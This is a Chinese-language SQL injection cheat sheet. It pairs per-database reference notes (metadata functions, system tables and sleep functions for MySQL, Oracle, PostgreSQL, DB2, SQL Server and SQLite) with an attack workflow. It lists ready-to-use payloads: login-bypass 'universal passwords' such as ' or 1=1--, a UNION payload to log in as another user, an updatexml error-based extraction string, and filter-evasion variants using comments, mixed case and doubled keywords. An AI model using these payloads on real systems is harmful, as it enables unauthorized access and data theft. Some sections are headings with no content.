各版本数据库语句备忘
简介
常见SQL版本
MySQL
Oracle
SQL Server
PostgreSQL
DB2
SQLite
常用常量
MySQL
常用函数
字符串函数
database():显示当前数据库
user():显示当前用户
version():显示数据库版本
@@version_compile_os:显示操作系统版本
@@version_compile_machine:显示操作系统位数
@@datadir:显示数据库文件存放路径
@@basedir:显示数据库安装路径
@@hostname:显示数据库主机名
@@port:显示数据库端口
功能函数
GROUP_CONCAT(name):将多个值拼接成字符串
concat(a,b):将a和b拼接成字符串
substr(str,pos,len):截取字符串
mid(str,pos,len):截取字符串
left(str,len):截取字符串
right(str,len):截取字符串
ascii(str):返回字符串第一个字符的ASCII码
sleep(5):让数据库等待5秒
updatexml(xml_doument,XPath_string,new_value):更新XML内容
extractvalue(xml_doument,XPath_string):提取XML内容
information_schema库
SCHEMATA表
字段:SCHEMA_NAME
TABLES表
字段:TABLE_NAME(表名),TABLE_SCHEMA(表对应的库名)
COLUMNS表
字段:TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME, COLUMN_TYPE
Oracle
常用函数
字符串函数
user:显示当前用户 sysdate:显示当前时间 version:显示数据库版本
功能函数
ascii(str):返回字符串第一个字符的ASCII码
chr(num):返回ASCII码对应的字符
substr(str,pos,len):截取字符串
dbms_pipe.receive_message(('a'),5):让数据库等待5秒
dbms_lock.sleep(5):让数据库等待5秒
ALL_USERS表
USERNAME:用户名(相当于模式名) ACCOUNT_STATUS:账户状态
Notes 在 Oracle 数据库中,每个模式相当于一个独立的数据库用户,可以包含表、视图、函数、存储过程等数据库对象。请注意,这里使用的是 all_users 视图,它包含了所有的数据库用户,即模式的列表。
ALL_TABLES表
OWNER:表所属用户 TABLE_NAME:表名 TABLESPACE_NAME:表空间名
ALL_TAB_COLUMNS表
OWNER:表所属用户 TABLE_NAME:表名 COLUMN_NAME:列名
PostgreSQL
常用函数
字符串函数
current_database():显示当前数据库
user:显示当前用户
version():显示数据库版本
功能函数
ascii(str):返回字符串第一个字符的ASCII码
chr(num):返回ASCII码对应的字符
substr(str,pos,len):截取字符串
string_agg(name,','):将多个值拼接成字符串
pg_sleep(5):让数据库等待5秒
information_schema库
同MySQL
DB2
常用函数
字符串函数
current server:显示当前数据库
current user:显示当前用户
version():显示数据库版本
功能函数
ascii(str):返回字符串第一个字符的ASCII码
chr(num):返回ASCII码对应的字符
substr(str,pos,len):截取字符串
sleep(5):让数据库等待5秒
syscat.tables表
tabschema:表所属用户 tabname:表名 owner:表所有者 type:表类型 remarks:表备注
syscat.columns表
tabschema:表所属用户 tabname:表名 colname:列名 typename:列类型 length:列长度 scale:列精度
SQL Server
常用函数
字符串函数
db_name():显示当前数据库 user_name():显示当前用户 @@servername:显示数据库主机名 @@version:显示数据库版本 @@spid:显示当前连接ID @@dbid:显示当前数据库ID @@language:显示数据库语言
功能函数
ascii(str):返回字符串第一个字符的ASCII码 char(num):返回ASCII码对应的字符 substring(str,pos,len):截取字符串 waitfor delay '0:0:5':让数据库等待5秒 IF(1=1,waitfor delay '0:0:5',1):如果1=1,则让数据库等待5秒,否则返回1
sys.schemas
name:模式名
schema_id:模式ID
sys.tables
name:表名
object_id:表的对象标识符
schema_id:表所属模式ID
sys.columns
name:列名
object_id:列所属表的对象标识符
SQLite
常用函数
字符串函数
sqlite_version():显示数据库版本
sqlite_source_id():显示数据库源码ID
sqlite_user_version():显示数据库用户版本
功能函数
ascii(str):返回字符串第一个字符的ASCII码
char(num):返回ASCII码对应的字符
substr(str,pos,len):截取字符串
sleep(5):让数据库等待5秒
sqlite_master表
type:对象类型
name:对象名
tbl_name:表名
sql:建表语句
基本流程
判断是否存在注入点
必要条件:用户输入的内容可以成为SQL语句的一部分
可能存在的注入点:GET/POST/COOKIE/HTTP头/Referer/Server等
判断注入类型
联合查询注入:在一条语句中执行多条语句
布尔型注入:根据页面返回的结果判断是否存在注入
报错注入:根据页面返回的错误信息判断是否存在注入
堆叠注入:在一条语句中执行多条语句
盲注:根据页面返回的结果判断是否存在注入
获取信息
库名->表名->列名->SELECT <列名> FROM <表名>
万能密码
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
以不同的用户登陆
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
注入类型
联合注入
语法结构
<原语句> UNION SELECT <列名> FROM <表名>
Notes
"<原语句>"表示"SELECT <列名> FROM <表名> WHERE <条件>",下同
Notes
联合查询的两个表的列数必须相同(通过order by来判断)
堆叠注入
语法结构
<原语句>; <SQL语句>
报错注入
可见报错
Notes
当SQL语句执行错误,页面出现报错详细内容时,可以通过报错信息来获取数据库信息
语法结构
<原语句> AND CAST((<查询语句>) AS int)=1
Notes
CAST函数:将查询结果转换为int类型
当CAST的返回值是文本时,会报错并抛出内容
updatexml
updatexml(xml_doument,XPath_string,new_value)
Notes
第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式
加上“~”就可以让XPATH校验失败
如:admin' or updatexml(1,concat(0x7e,database()),0)#
extractvalue
布尔盲注
条件响应盲注
当SQL语句执行正确时,页面出现某些内容,而错误时不显示该内容,可以进行布尔盲注
条件错误盲注
当SQL语句执行错误时,页面出现报错(没有详细内容),可以进行布尔盲注
条件为真时,执行1/0,报错(除数不能为0)
时间盲注
基本语法
附:盲注中判断数据库类型
常见问题
有时存在查询语句长度限制(Unterminated string literal:未终结的字符串)
绕过技巧
空格
/**/
或者 ()
=
like
substring/mid
right
或者 left
绕过union,select,where等
使用注释符绕过
常用注释符:
//,-- , /**/, #, --+, -- -, ;,%00,--a
用法:
U/**/NION/**/SE/**/LECT/**/user,pwd from user
使用大小写绕过
id=-1'UnIoN/**/SeLeCT
内联注释绕过
id=-1'/*!UnIoN*/SeLeCT1,2,concat(/*!table_name*/) FrOM/*information_schema*/.tables/*!WHERE*//*!TaBlE_ScHeMa*/like database()#
双关键字绕过
id=-1'UNIunionONSeLselectECT1,2,3–-